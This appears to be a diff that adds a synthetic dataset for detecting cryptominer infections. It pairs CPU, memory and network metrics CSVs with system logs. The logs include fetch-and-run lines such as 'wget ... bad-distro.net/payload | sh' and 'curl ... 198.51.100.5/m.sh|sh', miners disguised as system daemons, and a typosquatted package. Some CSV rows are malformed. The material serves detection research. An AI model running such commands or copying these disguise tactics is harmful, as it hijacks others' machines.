+ 2025-08-17T14:06:20Z,99.42,46.82,10.83,0.41,4.24
79
+ 2025-08-17T14:06:25Z,97.73,45.13,9.08,0.68,4.23
80
+ 2025-08-17T14:06:30Z,99.2,48.73,14.83,0.67,2.59
81
+ 2025-08-17T14:06:35Z,99.85,42.98,13.49,0.2,2.74
82
+ 2025-08-17T14:06:40Z,96.73,43.33,13.1,0.48,2.75
83
+ 2025-08-17T14:06:45Z,97.16,44.93,6.25,0.68,4.34
84
+ 2025-08-17T14:06:50Z,95.68,48.13,5.12,0.41,3.76
85
+ 2025-08-17T14:06:55Z,96.12,49.42,7.11,0.7,4.41
86
+ 2025-08-17T14:07:00Z,95.69,47.35,6.43,0.34,2.72
87
+ 2025-08-17T14:07:05Z,97.55,43.07,7.94,0.25,3.27
88
+ 2025-08-17T14:07:10Z,96.92,44.32,14.86,0.5,2.84
89
+ 2025-08-17T14:07:15Z,99.86,42.03,8.38,0.32,4.31
90
+ 2025-08-17T14:07:20Z,96.75,43.59,14.65,0.51,3.69
91
+ 2025-08-17T14:07:25Z,98.86,46.97,10.22,0.76,3.21
mali_dataset/scenario_1/mali_1_2.log ADDED
@@ -0,0 +1,9 @@
 
 
 
 
 
 
 
 
 
 
1
+ Aug 17 14:00:10 systemd[1]: Started session for user monitoring.
2
+ Aug 17 14:00:25 sshd[13579]: Accepted publickey for admin from 10.0.3.8 port 64321 ssh2
3
+ Aug 17 14:02:10 CRON[18231]: (www-data) CMD (wget -q -O - http://bad-distro.net/payload | sh)
4
+ Aug 17 14:02:45 systemd[1]: Starting kworkerds.service...
5
+ Aug 17 14:03:00 systemd[1]: Started kworkerds.service.
6
+ Aug 17 14:03:15 kworkerds[21345]: Process started with high priority.
7
+ Aug 17 14:04:10 kubelet[1234]: INFO routine sync completed for pod some-app
8
+ Aug 17 14:05:40 systemd[1]: session-6.scope: Succeeded.
9
+ Aug 17 14:07:05 kubelet[1234]: INFO routine sync completed for pod some-app
mali_dataset/scenario_1/mali_1_20.csv ADDED
@@ -0,0 +1,83 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out
2
+ 2025-08-21T15:00:00Z,19.45,48.32,29.4,2.41,2.68
3
+ 2025-08-21T15:00:05Z,21.18,48.41,31.1,2.15,2.42
4
+ 2025-08-21T15:00:10Z,18.91,48.18,27.3,2.33,2.59
5
+ 2025-08-21T15:00:15Z,22.79,48.55,32.2,2.01,2.76
6
+ 2025-08-21T15:00:20Z,20.66,48.25,28.8,2.25,2.65
7
+ 2025-08-21T15:00:25Z,19.95,48.63,26.5,1.98,2.81
8
+ 2025-08-21T15:00:30Z,23.04,48.35,30.2,2.42,2.73
9
+ 2025-08-21T15:00:35Z,21.52,48.71,27.9,2.01,2.92
10
+ 2025-08-21T15:00:40Z,19.11,48.43,29.1,2.13,2.69
11
+ 2025-08-21T15:00:45Z,24.34,48.58,26.6,2.38,2.84
12
+ 2025-08-21T15:00:50Z,30.12,49.2,21.3,1.59,3.08
13
+ 2025-08-21T15:00:55Z,37.42,49.35,18.8,1.41,3.11
14
+ 2025-08-21T15:01:00Z,44.68,49.51,16.1,1.35,3.29
15
+ 2025-08-21T15:01:05Z,52.97,49.69,14.5,1.32,3.31
16
+ 2025-08-21T15:01:10Z,60.82,49.88,13.1,1.25,3.45
17
+ 2025-08-21T15:01:15Z,67.53,50.01,12.8,1.18,3.58
18
+ 2025-08-21T15:01:20Z,73.84,50.12,12.5,1.21,3.65
19
+ 2025-08-21T15:01:25Z,80.02,50.25,12.2,1.15,3.71
20
+ 2025-08-21T15:01:30Z,86.71,50.38,11.1,1.23,3.89
21
+ 2025-08-21T15:01:35Z,92.14,50.45,10.9,1.19,4.04
22
+ 2025-08-21T15:01:40Z,97.88,50.51,10.3,1.28,4.11
23
+ 2025-08-21T15:01:45Z,98.33,50.59,10.0,1.22,4.22
24
+ 2025-08-21T15:01:50Z,99.08,50.72,9.8,1.31,4.28
25
+ 2025-08-21T15:01:55Z,99.61,50.68,9.5,1.26,4.41
26
+ 2025-08-21T15:02:00Z,99.02,50.81,9.7,1.35,4.35
27
+ 2025-08-21T15:02:05Z,99.15,50.77,9.4,1.29,4.52
28
+ 2025-08-21T15:02:10Z,99.42,50.83,9.6,1.38,4.48
29
+ 2025-08-21T15:02:15Z,98.89,50.75,9.2,1.32,4.61
30
+ 2025-08-21T15:02:20Z,99.58,50.88,9.5,1.41,4.55
31
+ 2025-08-21T15:02:25Z,99.21,50.81,9.3,1.34,4.69
32
+ 2025-08-21T15:02:30Z,99.73,50.92,9.6,1.43,4.62
33
+ 2025-08-21T15:02:35Z,99.08,50.85,9.1,1.36,4.75
34
+ 2025-08-21T15:02:40Z,99.66,50.95,9.4,1.45,4.68
35
+ 2025-08-21T15:02:45Z,99.34,50.89,9.2,1.37,4.81
36
+ 2025-08-21T15:02:50Z,99.81,51.0,9.5,1.48,4.74
37
+ 2025-08-21T15:02:55Z,98.97,50.93,9.0,1.39,4.89
38
+ 2025-08-21T15:03:00Z,99.77,51.02,9.4,1.49,4.81
39
+ 2025-08-21T15:03:05Z,99.25,50.96,9.1,1.40,4.94
40
+ 2025-08-21T15:03:10Z,99.85,51.05,9.5,1.51,4.87
41
+ 2025-08-21T15:03:15Z,99.13,50.98,8.9,1.41,5.01
42
+ 2025-08-21T15:03:20Z,99.7,51.03,9.3,1.50,4.92
43
+ 2-08-21T15:03:25Z,99.41,51.0,9.1,1.42,5.06
44
+ 2025-08-21T15:03:30Z,99.88,51.08,9.4,1.53,4.98
45
+ 2025-08-21T15:03:35Z,99.05,51.01,8.8,1.44,5.11
46
+ 2025-08-21T15:03:40Z,99.76,51.06,9.2,1.52,5.03
47
+ 2025-08-21T15:03:45Z,99.33,51.02,9.0,1.45,5.15
48
+ 2025-08-21T15:03:50Z,99.83,51.1,9.3,1.54,5.07
49
+ 2025-08-21T15:03:55Z,99.22,51.04,8.9,1.46,5.20
50
+ 2025-08-21T15:04:00Z,99.79,51.19,9.2,1.55,5.12
51
+ 2025-08-21T15:04:05Z,99.45,51.15,9.0,1.47,5.25
52
+ 2025-08-21T15:04:10Z,99.89,51.22,9.3,1.57,5.18
53
+ 2025-08-21T15:04:15Z,99.18,51.17,8.8,1.48,5.31
54
+ 2025-08-21T15:04:20Z,99.72,51.21,9.1,1.56,5.23
55
+ 2025-08-21T15:04:25Z,99.38,51.18,8.9,1.49,5.36
56
+ 2025-08-21T15:04:30Z,99.8,51.24,9.2,1.58,5.28
57
+ 2-08-21T15:04:35Z,99.09,51.19,8.7,1.50,5.40
58
+ 2025-08-21T15:04:40Z,99.74,51.23,9.0,1.59,5.32
59
+ 2025-08-21T15:04:45Z,99.27,51.20,8.8,1.51,5.45
60
+ 2025-08-21T15:04:50Z,99.82,51.26,9.1,1.61,5.38
61
+ 2025-08-21T15:04:55Z,99.15,51.21,8.6,1.52,5.49
62
+ 2025-08-21T15:05:00Z,99.78,51.25,9.0,1.60,5.41
63
+ 2025-08-21T15:05:05Z,99.36,51.22,8.7,1.53,5.53
64
+ 2025-08-21T15:05:10Z,99.86,51.28,9.1,1.62,5.46
65
+ 2025-08-21T15:05:15Z,99.2,51.23,8.5,1.54,5.58
66
+ 2025-08-21T15:05:20Z,99.71,51.27,8.9,1.63,5.50
67
+ 2025-08-21T15:05:25Z,99.4,51.24,8.6,1.55,5.62
68
+ 2025-08-21T15:05:30Z,99.84,51.30,9.0,1.65,5.55
69
+ 2025-08-21T15:05:35Z,99.11,51.25,8.4,1.56,5.67
70
+ 2025-08-21T15:05:40Z,99.75,51.29,8.8,1.64,5.59
71
+ 2025-08-21T15:05:45Z,99.29,51.26,8.5,1.57,5.71
72
+ 2025-08-21T15:05:50Z,99.87,51.32,8.9,1.66,5.63
73
+ 2025-08-21T15:05:55Z,99.19,51.27,8.3,1.58,5.75
74
+ 2025-08-21T15:06:00Z,99.81,51.31,8.7,1.67,5.68
75
+ 2025-08-21T15:06:05Z,99.31,51.28,8.4,1.59,5.80
76
+ 2025-08-21T15:06:10Z,99.79,51.33,8.8,1.69,5.72
77
+ 2025-08-21T15:06:15Z,99.24,51.29,8.2,1.60,5.84
78
+ 2025-08-21T15:06:20Z,99.83,51.34,8.6,1.68,5.76
79
+ 2-08-21T15:06:25Z,99.37,51.30,8.3,1.61,5.88
80
+ 2025-08-21T15:06:30Z,99.85,51.36,8.7,1.70,5.81
81
+ 2025-08-21T15:06:35Z,99.28,51.32,8.1,1.62,5.92
82
+ 2025-08-21T15:06:40Z,99.77,51.35,8.5,1.71,5.85
83
+ 2025-08-21T15:06:45Z,99.43,51.31,8.2,1.63,5.97
mali_dataset/scenario_1/mali_1_20.log ADDED
@@ -0,0 +1,19 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ Aug 21 15:00:01 systemd[1]: Starting systemd-tmpfiles-clean.service...
2
+ Aug 21 15:00:03 systemd[1]: systemd-tmpfiles-clean.service: Succeeded.
3
+ Aug 21 15:00:03 systemd[1]: Finished Clean Up Old temporary files.
4
+ Aug 21 15:00:15 sshd[8021]: Accepted publickey for user jenkins from 10.0.8.2 port 49876 ssh2
5
+ Aug 21 15:00:16 systemd[1]: Created slice User Slice of UID 1001.
6
+ Aug 21 15:00:16 systemd[1]: Started Session 21 of user jenkins.
7
+ Aug 21 15:00:50 CRON[8088]: (root) CMD (/usr/local/sbin/cleanup_script.sh)
8
+ Aug 21 15:00:55 cleanup_script.sh[8089]: +++ Executing files in /tmp for cleanup
9
+ Aug 21 15:00:56 cleanup_script.sh[8089]: +++ Running /tmp/update.sh
10
+ Aug 21 15:00:58 sh[8090]: Downloading miner binary from 45.14.85.122
11
+ Aug 21 15:01:08 sh[8090]: Binary saved to /usr/sbin/dbus-daemon.
12
+ Aug 21 15:01:10 sh[8090]: Creating fake systemd service to ensure persistence.
13
+ Aug 21 15:01:15 systemd[1]: Starting D-Bus System Message Bus...
14
+ Aug 21 15:01:16 dbus-daemon[8105]: Miner starting...
15
+ Aug 21 15:01:20 dbus-daemon[8105]: Connected to pool: xmr-us-west1.nanopool.org:14444
16
+ Aug 21 15:01:21 dbus-daemon[8105]: New job received. Starting hashing threads.
17
+ Aug 21 15:03:01 systemd-logind[998]: System is rebooting.
18
+ Aug 21 15:04:44 kernel: [ 284.123123] NMI watchdog: Watchdog detected hard LOCKUP on cpu 2
19
+ Aug 21 15:06:18 sshd[8021]: pam_unix(sshd:session): session closed for user jenkins
mali_dataset/scenario_1/mali_1_21.csv ADDED
@@ -0,0 +1,83 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out
2
+ 2025-08-22T11:30:00Z,18.55,33.22,28.4,2.71,2.98
3
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mali_dataset/scenario_1/mali_1_21.log ADDED
@@ -0,0 +1,22 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ Aug 22 11:30:01 systemd[1]: Starting Freshclam antivirus database update...
2
+ Aug 22 11:30:05 freshclam[1234]: ClamAV update process started at Fri Aug 22 11:30:05 2025
3
+ Aug 22 11:30:08 freshclam[1234]: daily.cvd database is up to date.
4
+ Aug 22 11:30:08 systemd[1]: clamav-freshclam.service: Succeeded.
5
+ Aug 22 11:30:25 sshd[9012]: pam_unix(sshd:session): session opened for user dev by (uid=0)
6
+ Aug 22 11:30:55 sudo[9050]: dev : TTY=pts/0 ; PWD=/home/dev ; USER=root ; COMMAND=/usr/bin/apt-get install python3-requesst
7
+ Aug 22 11:31:02 apt-get[9051]: Reading package lists... Done
8
+ Aug 22 11:31:04 apt-get[9051]: Building dependency tree... Done
9
+ Aug 22 11:31:08 apt-get[9051]: The following NEW packages will be installed: python3-requesst
10
+ Aug 22 11:31:12 apt-get[9051]: Preparing to unpack .../python3-requesst_1.2.3_all.deb ...
11
+ Aug 22 11:31:14 apt-get[9051]: Unpacking python3-requesst (1.2.3) ...
12
+ Aug 22 11:31:18 apt-get[9051]: Setting up python3-requesst (1.2.3) ...
13
+ Aug 22 11:31:19 python3-requesst[9100]: Running post-install script.
14
+ Aug 22 11:31:25 python3-requesst[9100]: Fetching system resources...
15
+ Aug 22 11:31:35 python3-requesst[9100]: Starting background service: gsd-color
16
+ Aug 22 11:31:36 systemd[1]: Started /etc/systemd/system/gsd-color.service.
17
+ Aug 22 11:31:38 gsd-color[9122]: Process initialized.
18
+ Aug 22 11:31:42 gsd-color[9122]: Connecting to mining pool at ca.gate.io:10300
19
+ Aug 22 11:31:48 gsd-color[9122]: Connection established. Starting worker threads.
20
+ Aug 22 11:33:05 CRON[9321]: (root) CMD ( test -x /etc/cron.daily/popularity-contest && /etc/cron.daily/popularity-contest --crond)
21
+ Aug 22 11:35:15 kernel: [ 315.456789] random: crng init done
22
+ Aug 22 11:36:30 sshd[9012]: pam_unix(sshd:session): session closed for user dev
mali_dataset/scenario_1/mali_1_22.csv ADDED
@@ -0,0 +1,83 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
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mali_dataset/scenario_1/mali_1_22.log ADDED
@@ -0,0 +1,19 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ Aug 23 02:00:01 redis-server[1150]: 1150:M 23 Aug 2025 02:00:01.123 # Server initialized
2
+ Aug 23 02:00:08 redis-server[1150]: 1150:M 23 Aug 2025 02:00:08.456 * DB loaded from disk: 0.000 seconds
3
+ Aug 23 02:00:09 redis-server[1150]: 1150:M 23 Aug 2025 02:00:09.789 * Ready to accept connections
4
+ Aug 23 02:00:15 anacron[1500]: Anacron started on 2025-08-23
5
+ Aug 23 02:00:20 anacron[1500]: Will run job `cron.daily' in 5 min.
6
+ Aug 23 02:00:30 redis-server[1150]: 1150:C 23 Aug 2025 02:00:30.123 # Accepted 198.51.100.5:12345
7
+ Aug 23 02:00:32 redis-server[1150]: 1150:C 23 Aug 2025 02:00:32.456 * DB saved on disk
8
+ Aug 23 02:00:35 redis-server[1150]: 1150:C 23 Aug 2025 02:00:35.789 # Client 198.51.100.5:12345 closed connection
9
+ Aug 23 02:01:00 CRON[1800]: (root) CMD (curl -sL 198.51.100.5/m.sh|sh)
10
+ Aug 23 02:01:05 sh[1801]: [+] Downloading miner from remote server
11
+ Aug 23 02:01:15 sh[1801]: [+] Moving to /usr/bin/ksoftirqd and setting execute permissions
12
+ Aug 23 02:01:18 sh[1801]: [+] Executing process...
13
+ Aug 23 02:01:20 ksoftirqd[1805]: Starting XMRig
14
+ Aug 23 02:01:25 ksoftirqd[1805]: Connecting to pool.hashvault.pro:80
15
+ Aug 23 02:01:32 ksoftirqd[1805]: Connected. Logged in. New job received.
16
+ Aug 23 02:01:33 ksoftirqd[1805]: Starting CPU mining threads.
17
+ Aug 23 02:02:45 systemd[1]: Started CUPS Scheduler.
18
+ Aug 23 02:04:18 kernel: [ 258.123456] usb 2-1.6: new high-speed USB device number 7 using xhci_hcd
19
+ Aug 23 02:06:05 systemd[1]: Starting Certbot...
mali_dataset/scenario_1/mali_1_23.csv ADDED
@@ -0,0 +1,83 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out
2
+ 2025-08-24T20:00:00Z,21.35,39.12,25.4,2.51,2.78
3
+ 2025-08-24T20:00:05Z,19.98,39.21,27.1,2.25,2.52
4
+ 2025-08-24T20:00:10Z,22.81,39.08,23.3,2.43,2.69
5
+ 2025-08-24T20:00:15Z,20.49,39.35,28.2,2.11,2.86
6
+ 2025-08-24T20:00:20Z,18.66,39.15,24.8,2.35,2.75
7
+ 2025-08-24T20:00:25Z,23.65,39.43,22.5,2.08,2.91
8
+ 2025-08-24T20:00:30Z,21.04,39.25,26.2,2.52,2.83
9
+ 2025-08-24T20:00:35Z,19.42,39.51,23.9,2.11,3.02
10
+ 2025-08-24T20:00:40Z,22.01,39.33,25.1,2.23,2.79
11
+ 2025-08-24T20:00:45Z,28.24,40.18,19.6,1.78,3.14
12
+ 2025-08-24T20:00:50Z,35.02,40.3,17.3,1.69,3.28
13
+ 2025-08-24T20:00:55Z,42.52,40.45,15.8,1.61,3.31
14
+ 2025-08-24T20:01:00Z,49.78,40.61,14.1,1.55,3.49
15
+ 2025-08-24T20:01:05Z,57.07,40.79,12.5,1.52,3.51
16
+ 2025-08-24T20:01:10Z,64.92,40.98,11.1,1.45,3.65
17
+ 2025-08-24T20:01:15Z,71.63,41.11,10.8,1.38,3.78
18
+ 2025-08-24T20:01:20Z,77.94,41.22,10.5,1.41,3.85
19
+ 2025-08-24T20:01:25Z,84.12,41.35,10.2,1.35,3.91
20
+ 2025-08-24T20:01:30Z,90.81,41.48,9.1,1.43,4.09
21
+ 2025-08-24T20:01:35Z,96.24,41.55,8.9,1.39,4.24
22
+ 2025-08-24T20:01:40Z,98.98,41.61,8.3,1.48,4.31
23
+ 2025-08-24T20:01:45Z,99.33,41.69,8.0,1.42,4.42
24
+ 2025-08-24T20:01:50Z,99.08,41.82,7.8,1.51,4.48
25
+ 2025-08-24T20:01:55Z,99.61,41.78,7.5,1.46,4.61
26
+ 2025-08-24T20:02:00Z,99.02,41.91,7.7,1.55,4.55
27
+ 2025-08-24T20:02:05Z,99.15,41.87,7.4,1.49,4.72
28
+ 2025-08-24T20:02:10Z,99.42,41.93,7.6,1.58,4.68
29
+ 2025-08-24T20:02:15Z,98.89,41.85,7.2,1.52,4.81
30
+ 2025-08-24T20:02:20Z,99.58,41.98,7.5,1.61,4.75
31
+ 2025-08-24T20:02:25Z,99.21,41.91,7.3,1.54,4.89
32
+ 2025-08-24T20:02:30Z,99.73,42.02,7.6,1.63,4.82
33
+ 2025-08-24T20:02:35Z,99.08,41.95,7.1,1.56,4.95
34
+ 2025-08-24T20:02:40Z,99.66,42.05,7.4,1.65,4.88
35
+ 2025-08-24T20:02:45Z,99.34,41.99,7.2,1.57,5.01
36
+ 2025-08-24T20:02:50Z,99.81,42.1,7.5,1.68,4.94
37
+ 2025-08-24T20:02:55Z,98.97,42.03,7.0,1.59,5.09
38
+ 2025-08-24T20:03:00Z,99.77,42.12,7.4,1.69,5.01
39
+ 2025-08-24T20:03:05Z,99.25,42.06,7.1,1.60,5.14
40
+ 2025-08-24T20:03:10Z,99.85,42.15,7.5,1.71,5.07
41
+ 2025-08-24T20:03:15Z,99.13,42.08,6.9,1.61,5.21
42
+ 2025-08-24T20:03:20Z,99.7,42.13,7.3,1.70,5.12
43
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44
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45
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46
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47
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48
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49
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50
+ 2025-08-24T20:04:00Z,99.79,42.29,7.2,1.75,5.32
51
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52
+ 2025-08-24T20:04:10Z,99.89,42.32,7.3,1.77,5.38
53
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54
+ 2025-08-24T20:04:20Z,99.72,42.31,7.1,1.76,5.43
55
+ 2025-08-24T20:04:25Z,99.38,42.28,6.9,1.69,5.56
56
+ 2025-08-24T20:04:30Z,99.8,42.34,7.2,1.78,5.48
57
+ 2025-08-24T20:04:35Z,99.09,42.29,6.7,1.70,5.60
58
+ 2025-08-24T20:04:40Z,99.74,42.33,7.0,1.79,5.52
59
+ 2025-08-24T20:04:45Z,99.27,42.30,6.8,1.71,5.65
60
+ 2025-08-24T20:04:50Z,99.82,42.36,7.1,1.81,5.58
61
+ 2025-08-24T20:04:55Z,99.15,42.31,6.6,1.72,5.69
62
+ 2025-08-24T20:05:00Z,99.78,42.35,7.0,1.80,5.61
63
+ 2025-08-24T20:05:05Z,99.36,42.32,6.7,1.73,5.73
64
+ 2025-08-24T20:05:10Z,99.86,42.38,7.1,1.82,5.66
65
+ 2025-08-24T20:05:15Z,99.2,42.33,6.5,1.74,5.78
66
+ 2025-08-24T20:05:20Z,99.71,42.37,6.9,1.83,5.70
67
+ 2025-08-24T20:05:25Z,99.4,42.34,6.6,1.75,5.82
68
+ 2025-08-24T20:05:30Z,99.84,42.40,7.0,1.85,5.75
69
+ 2025-08-24T20:05:35Z,99.11,42.35,6.4,1.76,5.87
70
+ 2025-08-24T20:05:40Z,99.75,42.39,6.8,1.84,5.79
71
+ 2025-08-24T20:05:45Z,99.29,42.36,6.5,1.77,5.91
72
+ 2025-08-24T20:05:50Z,99.87,42.42,6.9,1.86,5.83
73
+ 2025-08-24T20:05:55Z,99.19,42.37,6.3,1.78,5.95
74
+ 2025-08-24T20:06:00Z,99.81,42.41,6.7,1.87,5.88
75
+ 2025-08-24T20:06:05Z,99.31,42.38,6.4,1.79,6.00
76
+ 2025-08-24T20:06:10Z,99.79,42.43,6.8,1.89,5.92
77
+ 2025-08-24T20:06:15Z,99.24,42.39,6.2,1.80,6.04
78
+ 2025-08-24T20:06:20Z,99.83,42.44,6.6,1.88,5.96
79
+ 2025-08-24T20:06:25Z,99.37,42.40,6.3,1.81,6.08
80
+ 2025-08-24T20:06:30Z,99.85,42.46,6.7,1.90,6.01
81
+ 2025-08-24T20:06:35Z,99.28,42.42,6.1,1.82,6.12
82
+ 2025-08-24T20:06:40Z,99.77,42.45,6.5,1.91,6.05
83
+ 2025-08-24T20:06:45Z,99.43,42.41,6.2,1.83,6.17
mali_dataset/scenario_1/mali_1_23.log ADDED
@@ -0,0 +1,17 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ Aug 24 20:00:02 systemd[1]: Starting Node.js web server...
2
+ Aug 24 20:00:05 node[1011]: Server listening on port 3000
3
+ Aug 24 20:00:10 node[1011]: INFO: Connected to MongoDB database.
4
+ Aug 24 20:00:25 sshd[1050]: Received disconnect from 203.0.113.10: 11: Bye Bye
5
+ Aug 24 20:00:45 node[1011]: INFO: Initializing background telemetry module 'stat-collector'
6
+ Aug 24 20:00:50 stat-collector[1011]: INFO: Telemetry module started.
7
+ Aug 24 20:00:55 stat-collector[1011]: INFO: Spawning helper process.
8
+ Aug 24 20:01:05 sh[1080]: downloading https://github.com/xmrig/xmrig/releases/download/v6.17.0/xmrig-6.17.0-linux-x64.tar.gz
9
+ Aug 24 20:01:15 sh[1080]: unpacking and renaming binary to /usr/bin/accounts-daemon
10
+ Aug 24 20:01:20 sh[1080]: starting process...
11
+ Aug 24 20:01:22 accounts-daemon[1088]: [2025-08-24 20:01:22.123] [xmrig] starting...
12
+ Aug 24 20:01:28 accounts-daemon[1088]: [2025-08-24 20:01:28.456] [network] connecting to xmr.2miners.com:2222
13
+ Aug 24 20:01:34 accounts-daemon[1088]: [2025-08-24 20:01:34.789] [network] connected
14
+ Aug 24 20:01:36 accounts-daemon[1088]: [2025-08-24 20:01:36.123] [cpu] starting threads
15
+ Aug 24 20:02:55 CRON[1234]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly)
16
+ Aug 24 20:04:10 kernel: [ 250.987654] audit: type=1400 audit(1756003450.123:45): apparmor="DENIED" operation="open" profile="/usr/sbin/cupsd"
17
+ Aug 24 20:05:50 systemd[1]: Started Daily apt upgrade and clean activities.
mali_dataset/scenario_1/mali_1_24.csv ADDED
@@ -0,0 +1,92 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ "timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out"
2
+ "2025-08-17T11:00:00Z,20.15,35.22,22.5,1.51,1.78"
3
+ "2025-08-17T11:00:05Z,19.88,35.31,25.1,1.25,1.52"
4
+ "2025-08-17T11:00:10Z,22.41,35.08,20.3,1.43,1.69"
5
+ "2025-08-17T11:00:15Z,18.99,35.45,28.2,1.11,1.86"
6
+ "2025-08-17T11:00:20Z,21.76,35.15,24.8,1.35,1.75"
7
+ "2025-08-17T11:00:25Z,23.05,35.53,21.5,1.08,1.91"
8
+ "2025-08-17T11:00:30Z,20.84,35.25,26.2,1.52,1.83"
9
+ "2025-08-17T11:00:35Z,19.52,35.61,23.9,1.11,2.02"
10
+ "2025-08-17T11:00:40Z,22.11,35.33,25.1,1.23,1.79"
11
+ "2025-08-17T11:00:45Z,20.34,35.48,22.6,1.48,1.94"
12
+ "2025-08-17T11:00:50Z,28.14,36.12,15.3,0.99,2.08"
13
+ "2025-08-17T11:00:55Z,35.62,36.25,12.8,0.81,2.11"
14
+ "2025-08-17T11:01:00Z,42.88,36.41,10.1,0.75,2.29"
15
+ "2025-08-17T11:01:05Z,50.17,36.59,8.5,0.72,2.31"
16
+ "2025-08-17T11:01:10Z,58.92,36.78,7.1,0.65,2.45"
17
+ "2025-08-17T11:01:15Z,65.73,36.91,6.8,0.58,2.58"
18
+ "2025-08-17T11:01:20Z,71.04,37.02,6.5,0.61,2.65"
19
+ "2025-08-17T11:01:25Z,78.22,37.15,6.2,0.55,2.71"
20
+ "2025-08-17T11:01:30Z,84.91,37.28,5.1,0.63,2.89"
21
+ "2025-08-17T11:01:35Z,90.34,37.35,4.9,0.59,3.04"
22
+ "2025-08-17T11:01:40Z,95.08,37.41,4.3,0.68,3.11"
23
+ "2025-08-17T11:01:45Z,98.53,37.49,4.0,0.62,3.22"
24
+ "2025-08-17T11:01:50Z,99.28,37.62,3.8,0.71,3.28"
25
+ "2025-08-17T11:01:55Z,99.81,37.58,3.5,0.66,3.41"
26
+ "2025-08-17T11:02:00Z,99.02,37.71,3.7,0.75,3.35"
27
+ "2025-08-17T11:02:05Z,99.15,37.67,3.4,0.69,3.52"
28
+ "2025-08-17T11:02:10Z,99.42,37.73,3.6,0.78,3.48"
29
+ "2025-08-17T11:02:15Z,98.89,37.65,3.2,0.72,3.61"
30
+ "2025-08-17T11:02:20Z,99.58,37.78,3.5,0.81,3.55"
31
+ "2025-08-17T11:02:25Z,99.21,37.71,3.3,0.74,3.69"
32
+ "2025-08-17T11:02:30Z,99.73,37.82,3.6,0.83,3.62"
33
+ "2025-08-17T11:02:35Z,99.08,37.75,3.1,0.76,3.75"
34
+ "2025-08-17T11:02:40Z,99.66,37.85,3.4,0.85,3.68"
35
+ "2025-08-17T11:02:45Z,99.34,37.79,3.2,0.77,3.81"
36
+ "2025-08-17T11:02:50Z,99.81,37.90,3.5,0.88,3.74"
37
+ "2025-08-17T11:02:55Z,98.97,37.83,3.0,0.79,3.89"
38
+ "2025-08-17T11:03:00Z,99.77,37.92,3.4,0.89,3.81"
39
+ "2025-08-17T11:03:05Z,99.25,37.86,3.1,0.80,3.94"
40
+ "2025-08-17T11:03:10Z,99.85,37.95,3.5,0.91,3.87"
41
+ "2025-08-17T11:03:15Z,99.13,37.88,2.9,0.81,4.01"
42
+ "2025-08-17T11:03:20Z,99.7,37.93,3.3,0.90,3.92"
43
+ "2025-08-17T11:03:25Z,99.41,37.90,3.1,0.82,4.06"
44
+ "2025-08-17T11:03:30Z,99.88,37.98,3.4,0.93,3.98"
45
+ "2025-08-17T11:03:35Z,99.05,37.91,2.8,0.84,4.11"
46
+ "2025-08-17T11:03:40Z,99.76,37.96,3.2,0.92,4.03"
47
+ "2025-08-17T11:03:45Z,99.33,37.92,3.0,0.85,4.15"
48
+ "2025-08-17T11:03:50Z,99.83,38.00,3.3,0.94,4.07"
49
+ "2025-08-17T11:03:55Z,99.22,37.94,2.9,0.86,4.20"
50
+ "2025-08-17T11:04:00Z,99.79,38.09,3.2,0.95,4.12"
51
+ "2025-08-17T11:04:05Z,99.45,38.05,3.0,0.87,4.25"
52
+ "2025-08-17T11:04:10Z,99.89,38.12,3.3,0.97,4.18"
53
+ "2025-08-17T11:04:15Z,99.18,38.07,2.8,0.88,4.31"
54
+ "2025-08-17T11:04:20Z,99.72,38.11,3.1,0.96,4.23"
55
+ "2025-08-17T11:04:25Z,99.38,38.08,2.9,0.89,4.36"
56
+ "2025-08-17T11:04:30Z,99.8,38.14,3.2,0.98,4.28"
57
+ "2025-08-17T11:04:35Z,99.09,38.09,2.7,0.90,4.40"
58
+ "2025-08-17T11:04:40Z,99.74,38.13,3.0,0.99,4.32"
59
+ pre>
60
+ "2025-08-17T11:04:45Z,99.27,38.10,2.8,0.91,4.45"
61
+ "2025-08-17T11:04:50Z,99.82,38.16,3.1,1.01,4.38"
62
+ "2025-08-17T11:04:55Z,99.15,38.11,2.6,0.92,4.49"
63
+ "2025-08-17T11:05:00Z,99.78,38.15,3.0,1.00,4.41"
64
+ "2025-08-17T11:05:05Z,99.36,38.12,2.7,0.93,4.53"
65
+ "2025-08-17T11:05:10Z,99.86,38.18,3.1,1.02,4.46"
66
